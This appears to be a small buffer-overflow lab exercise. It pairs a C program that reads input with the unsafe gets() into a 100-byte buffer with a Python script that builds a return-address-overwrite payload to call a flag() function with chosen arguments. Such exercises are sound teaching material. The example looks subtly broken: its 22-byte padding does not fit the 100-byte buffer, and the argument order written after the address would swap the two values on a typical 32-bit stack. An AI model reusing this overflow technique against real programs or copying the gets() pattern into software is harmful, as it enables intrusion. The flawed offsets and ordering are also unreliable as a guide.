buffer overflow example with parameters

payload.py

junk_l =  22

# can be different when compiled
function_addr = b"\x56\x55\x61\xad"

arg_a = b"\xde\xad\xbe\xef"
arg_b = b"\xc0\xde\xd0\x0d"

with open("./data", "wb") as f:
    junk = b"A" * junk_l
    
    # reverse bytes aka Little endian
    fun = function_addr[::-1] 
    a = arg_a[::-1]
    b = arg_b[::-1]

    # join payload and args(reverse order) and add offset between them
    f.write(junk + fun + b"junk" + b + a)

vuln.c

// gcc vuln.c -o vuln

#include <stdio.h>

void flag(int a, int b) {
  if (a == 0xdeadbeef && b == 0xc0ded00d) {
    printf("OK");
  }
} 

void vuln() {
  char input[100];
  gets(input);
  puts(input);
}

int main () {
  vuln();
  return 0;
}